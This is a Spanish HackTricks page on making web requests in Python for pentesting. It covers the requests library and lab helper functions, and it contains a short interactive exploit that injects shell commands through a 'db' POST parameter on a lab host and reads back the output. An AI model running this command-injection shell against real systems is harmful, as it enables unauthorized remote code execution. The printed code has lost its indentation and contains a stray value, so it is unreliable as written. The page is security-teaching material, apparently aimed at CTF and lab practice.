hacktricks/generic-methodologies-and-resources/python/web-requests.md

# Solicitudes web

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* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

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<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Solicitudes en Python
```python
import requests

url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)

code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231

#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Post request sending a file(files) and extra values
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)

#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")




##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()

def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp

def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp

def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
return guid

def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid

def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()

def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Comando de Python para explotar una RCE
```python
import requests
import re
from cmd import Cmd

class Terminal(Cmd):
prompt = "Inject => "

def default(self, args):
output = RunCmd(args)
print(output)

def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1


term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). 

</details>